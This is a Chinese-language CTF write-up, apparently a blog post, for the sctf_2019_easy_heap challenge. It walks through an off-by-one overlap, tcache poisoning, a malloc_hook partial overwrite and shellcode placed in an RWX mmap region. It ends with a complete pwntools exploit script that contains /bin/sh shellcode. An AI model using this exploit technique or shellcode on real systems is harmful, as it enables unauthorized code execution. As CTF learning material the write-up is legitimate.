复建1:sctf_2019_easy_heap

这其实是复建的第二题,因为第一题涉及的知识点太多,就不想写wp了,太费时间。

目前的目标,就是将堆的常见题型都过一遍,复习+预习,争取一次过。

这次复建题目设计到tcache_dup+tcache_poisoning(好像是这么写的),版本为libc-2.27,3Ubuntu1版本,这也就是可以涉及到doublefree的。

checksec

 

保护全开,也没什么好看的。直接上ida。

ida

 

看得出来,很经典的堆题。看不出来什么东西,继续往下看:

 

这是add函数,看起来也没有什么突破点 ,继续看:

 

free函数,这个看起来,没办法uaf了,因为清空了函数内容和指针。

 

这是edit函数,再看看那个E2D函数,在前面几个功能里都出现过:

 

从函数可以看出,只要buf不等于0x10(也就是'\n'),就不会停止读入,并且在i==a2(也就是堆长度)的时候,还可以溢出,造成offbyone的漏洞。也就是说,突破点在offbyone。

还有一个重中之重的函数:

 

这个函数重点在mmap上,之前的都是为了调用mmap做准备。mmap是映射函数,其中,buf代表映射地址,0x10000代表映射地址长度,prot值为7代表可读可写可执行,flags值为34表示创建一个私有的匿名映射,用于在内存中分配一块可用于读写的匿名内存区域,修改不会对原始文件产生影响,-1是默认fd,offset值为0代表偏移为0,映射地址直接从buf地址开始。

可读可写可执行,这不就是shellcode最适合写入的位置嘛?

思路

但是具体应该怎么做?这里可没有show,也就没办法泄露libc的地址了。但是这个地址随机化,后三位是固定的,因此可以改后三位。接下来查看经常用到的函数的地址,看看优先选择哪个:

 

malloc_hook和需要修改的main_arena+96就只差后两位,而free_hook差了四位,选malloc是相对好的,因为不需要爆破。既然要改,应该怎么改?

之前我就提到,这是3ubuntu1的libc2.27,因此可以考虑从tcache上入手。tcache有个特性,大于0x410的chunk,释放后不会入tcachebin,会直接进入unsortedbin。知道这些,然后呢?我们的目的是修改main_arena+96为malloc_hook的地址,之后再将它申请出来,再通过edit函数修改成我们想要的地址。

不妨再申请一个大堆块(最好是直接进入unsortedbin),再通过前一个堆块offbyone,修改前一个大小,让程序识别前面未释放的堆块已经释放。像这样:

 

假装prev_size,是一个大整体,而且要有一个大堆块已经被释放(因为要有一个头表示被释放)。为什么会要那么大?这个后边说。之后再释放那个500大小的堆块(一定要4f0以上,410的不知道为什么申请不到位),这是堆结构:

 

合并在一起了。合并在一起,但是中间修改的块没有啊?那就释放吧(这样就可以更改两次了,后来申请大堆块包含了小堆块改一次,小堆块自己改一次),毕竟offbyone,并不能直接修改下一个堆块的fd。释放后:

 

tcache还有一个特性,在重启之前,都会遍历判断,如果bin中有chunk在它的范围内的,就会自动加入它的范围,相当霸道!那么,就可以故意申请,截断chunk,剩下小chunk。让小chunk(要相同地址!)链在0x20或者0x30后边。注意,这里的小chunk并不是真的只剩下小chunk,而是被包含进去的小chunk。截断的位置就是它们其中一个的地址,让它们的fd指向main_arena+96。

为什么要链?因为小chunk的fd是main_arena+96。之后就可以通过修改大chunk,修改了它包含的小chunk的内容,妙哉。

可以修改,但是目前的思路还不是很明确啊。可以修改,是为了什么呢?还记得在反汇编中,提到的天选shellcode种植地吗?我们不妨在一开始就申请两个chunk,一个修改成mmap的映射地址(这里就叫maddr好了),一个是为了修改main_arena+96的地址为malloc_hook的地址,再通过编辑,将它们一个填入shellcode(不要太大,小shellcode可以上网找,注意系统位数),一个修改成maddr。最后通过申请一个堆块,执行了shellcode。可喜可乐可喜可乐。

好了,思路回来。大小chunk应该怎么分,才能正好?那就算:我决定,让第二个chunk变为fd的承接者。为什么不是第一个?如果是第一个,那么第二个chunk就没办法修改了。因为第一个chunk改完,offbyone就只能多改一个,根本不足够改第二个chunk的fd为maddr。

之前查看chunk结构,可以知道总的chunk有0x970个,再加上一个大chunk(自己申请的),0x410(不包括,因为0x970也没包括),第一个chunk我申请了0x18,也就是有0x20大小(包括了头),加起来,就需要0x430。这是申请后的结构:

 

怎么判断自己截断成功?看看是不是main_arena+96就好。

很好,成功了三分之二。开始修改。在此之前要把剩下的申请了(0x970-0x430--0x10=0x530,0x10是头),申请 后,就包含了第二个chunk,修改0x530就是修改第二个chunk的fd。之前申请的大chunk也大有用处,用来修改第一个chunk的fd为maddr。

修改完后:

 

剩下的填充shellcode和更改malloc_hook指向maddr都很熟悉了吧?通过edit函数一把梭哈就好。

最后再申请堆块就okkk

打通成功:

 

exp

from pwn import*
context(os='linux',arch='amd64')
context.log_level = 'debug'

p=process('./easy_heap')
# p=remote('node4.buuoj.cn',27087)
libc=ELF('./libc-2.27.so')
p.recvuntil(b'Mmap: ')
map_addr=int(p.recv()[:12],16)
print('map_addr_is:',hex(map_addr))
addr1=0x0202060
def add(size):
    # p.recvuntil(b'>> ')
    p.sendline(b'1')
    p.recvuntil(b'Size: ')
    p.sendline(str(size))
    # p.recvuntil(b'Address ')
    # addr1=int(p.recv()[:12],16)
    # print('addr1_is:',hex(addr1))
    return addr1
def dell(index):
    # p.recvuntil(b'>> ')
    p.sendline(b'2')
    p.recvuntil(b'Index: ')
    p.sendline(str(index))
def fill(index,content):
    # p.recvuntil(b'>> ')
    p.sendline(b'3')
    p.recvuntil(b'Index: ')
    p.sendline(str(index))
    p.recvuntil(b'Content: ')
    p.send(content)

def g():
    gdb.attach(p)
    pause()

shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
heap_addr=add(0x410)#0
add(0x18)#1
add(0x28)#2
add(0x4f0)#3
add(0x10)#4
dell(0)
payload=b'a'*0x20+p64(0x470)
fill(2,payload)
dell(3)
dell(1)
dell(2)
add(0x430)#0
add(0x520)#1
payload=b'a'*0x410+p64(0)+p64(21)
payload+=p64(map_addr)+b'\n'
fill(0,payload)
mhook=b'\x30'
fill(1,mhook+b'\n')
g()
p.recvuntil(b'>> ')
add(0x18)#2
add(0x18)#3
print(len(shellcode))
fill(3,shellcode+b'\n')
add(0x28)#5
add(0x28)#6
fill(6,p64(map_addr)+b'\n')
add(0x10)

p.interactive()

???

当然,条条大路通罗马。还可以通过IO_leak来泄露libc,再一把梭哈,都可以的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值